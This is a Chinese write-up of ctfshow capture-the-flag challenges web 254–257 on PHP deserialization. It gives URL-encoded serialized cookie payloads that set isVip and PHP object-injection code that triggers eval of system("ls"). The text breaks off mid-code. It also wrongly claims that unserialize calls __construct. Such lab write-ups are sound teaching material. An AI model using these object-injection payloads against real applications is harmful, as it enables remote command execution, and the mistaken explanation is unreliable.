文章目录
web 254——啥也没
这里就是使用GET传输,username赋值为xxxxxx
,password也1赋值为xxxxxx
。
web 255——反序列化对变量进行赋值(1)
代码会对user
变量进行反序列化,因此只需要GET传输的变量username
和变量password
的值与user
变量反序列化得到的username
和password
相等,且反序列化后的isVip
等于True
就行。
首先对类ctfShowUser
进行序列化,PHP序列化和反序列化
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
,注意需要对user的值进行URL编码。
web 256——反序列化对变量进行赋值(2)
以上一题相比,其实就是反序列化的类中的变量username
和password
不要相等即可,注意GET传参时也要做修改。payload:
//url
?username=xxxxxx&password=123`
//POST cookie
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22123%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web 257——对象注入
思路:主要还是利用backDoor类中的eval
函数。unserialize
反序列化后,会自动调用__construct()
魔术方法,让__construct()
魔术方法直接$this->class=new backdoor()
,然后销毁类ctfShowUser
时,就会自动调用 backdoor
中的getInfo
函数,同时我们可以在序列化的时候赋值code=$code='system("ls");'
,这样就能执行系统命令了。
得到序列化数据payLoad:
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class